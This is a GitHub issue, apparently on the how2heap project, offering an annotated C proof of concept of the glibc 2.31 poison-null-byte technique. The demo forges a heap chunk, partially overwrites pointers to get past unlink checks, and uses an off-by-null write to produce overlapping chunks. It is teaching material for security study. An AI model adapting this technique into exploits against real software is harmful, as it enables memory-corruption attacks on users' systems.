Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Add some heap information #148

Closed
zhouzq-thu opened this issue Mar 15, 2022 · 2 comments
Closed

Add some heap information #148

zhouzq-thu opened this issue Mar 15, 2022 · 2 comments

Comments

@zhouzq-thu
Copy link

zhouzq-thu commented Mar 15, 2022

Add some heap information to make the code easier to understand.

Maybe the following code is more helpful and clean to know what's happened in the heap.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <assert.h>

// Modify from https://github.com/shellphish/how2heap/blob/master/glibc_2.31/poison_null_byte.c

int main()
{
    setbuf(stdin, NULL);
    setbuf(stdout, NULL);

    // step1: allocate padding
    void *tmp = malloc(0x1);
    void *heap_base = (void *)((long)tmp & (~0xfff));
    printf("heap address: %p\n", heap_base);
    size_t size = 0x10000 - ((long)tmp & 0xffff) - 0x20;
    void *padding= malloc(size);

    // step2: allocate prev chunk and victim chunk
    void *prev = malloc(0x500);
    void *victim = malloc(0x4f0);
    malloc(0x10);

    // step3: link prev into largebin
    void *a = malloc(0x4f0);
    malloc(0x10);
    void *b = malloc(0x510);
    malloc(0x10);

    /**
     * Heap layout:
     *     ... ...
     * padding 
     *    prev Chunk(addr=0x??0010, size=0x510)
     *  victim Chunk(addr=0x??0520, size=0x500)
     * barrier Chunk(addr=0x??0a20, size=0x20)
     *       a Chunk(addr=0x??0a40, size=0x500)
     * barrier Chunk(addr=0x??0f40, size=0x20)
     *       b Chunk(addr=0x??0f60, size=0x520)
     * barrier Chunk(addr=0x??1480, size=0x20)
     */

    free(a);
    free(b);
    free(prev);
    // unsorted_bins <-> [prev, size=0x510] <-> [b, size=0x520] <-> [a, size=0x500]

    malloc(0x1000); // Allocate a huge chunk to enable sorting
    // large_bin[67] <-> [b, size=0x520] <-> [prev, size=0x510] <-> [a, size=0x500]

    // step4: allocate prev again to construct fake chunk
    void *prev2 = malloc(0x500);
    // prev2->fd == prev2->fd_nextsize == a
    // prev2->bk == prev2->bk_nextsize == b
    ((long *)prev)[1] = 0x501;
    *(long *)(prev + 0x500) = 0x500;
    // fake_chunk == prev + 0x10 == 0x??0020
    // use prev's fd_nextsize & bk_nextsize as fake_chunk's fd & bk
    // fake_chunk->fd == a
    // fake_chunk->bk == b

    // step5: bypass unlinking
    void *b2 = malloc(0x510); // b->fd == a
    // large_bin[67] <-> [prev, size=0x510] <-> [a, size=0x500]
    ((char*)b2)[0] = '\x10';
    ((char*)b2)[1] = '\x00'; // b->fd <- fake_chunk

    void *a2 = malloc(0x4f0);
    // large_bin[67] <-> [prev, size=0x510]

    free(a2);
    free(victim);
    // unsorted_bins <-> [victim, size=0x500] <-> [a, size=0x500]

    void *a3 = malloc(0x4f0); // a->bk == victim
    // unsorted_bins <-> [victim, size=0x500]
    ((char*)a3)[8] = '\x10';
    ((char*)a3)[9] = '\x00'; // a->bk <- fake_chunk

    // Now fake_chunk->fd->bk == a->bk == fake_chunk
    //     fake_chunk->bk->fd == b->fd == fake_chunk
    // can pass unlink_chunk in malloc.c:
    //      mchunkptr fd = p->fd;
    //      mchunkptr bk = p->bk;
    //      if (__builtin_expect (fd->bk != p || bk->fd != p, 0))
    //          malloc_printerr ("corrupted double-linked list");

    // step6: add fake chunk into unsorted bin by off-by-null
    void *victim2 = malloc(0x4f0);
    /* VULNERABILITY */
    ((char *)victim2)[-8] = '\x00';
    /* VULNERABILITY */

    free(victim);
    // unsorted_bins <-> [fake_chunk + victim, size=0xa00]

    // step7: validate the chunk overlapping
    void *merged = malloc(0x100);
    assert((size_t)merged == (size_t)prev + 0x10);
}
@Kyle-Kyle
Copy link
Contributor

Thank you very much for the helpful information. I adapted it and added it to the repo in commit 858f7b9

@Kyle-Kyle
Copy link
Contributor

I'll close this for now. Feel free to reopen it if you think it can be further enhanced.
Thank you again for your contribution!

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

2 participants